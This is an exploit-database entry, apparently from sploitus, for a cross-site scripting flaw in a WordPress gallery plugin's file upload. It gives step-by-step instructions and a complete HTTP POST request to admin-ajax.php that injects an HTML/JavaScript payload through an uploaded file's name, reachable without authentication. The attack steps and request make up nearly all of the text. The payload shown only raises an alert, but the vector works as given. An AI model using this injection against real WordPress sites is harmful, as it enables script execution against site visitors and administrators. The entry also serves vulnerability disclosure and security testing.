## https://sploitus.com/exploit?id=WPEX-ID:6BB4EB71-D702-4732-B01F-B723077D66CA
Steps :
1. Rename any file to <img src=x onerror=alert(1337)>
2. Choose this file to upload and click on the button ( upload selected file )
3. When a file is uploading you will find that an alert box popped on-screen having content "1337"
POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------245018834521283925753967681812
Content-Length: 506
Cookies: [any user or even unauthenticated]
Connection: close
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="myfile[]"; filename="<img src onerror=alert(2)>"
Content-Type: image/png
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="action"
gallery_from_files_595_fileupload
-----------------------------245018834521283925753967681812
Content-Disposition: form-data; name="filesName"
myfile
-----------------------------245018834521283925753967681812--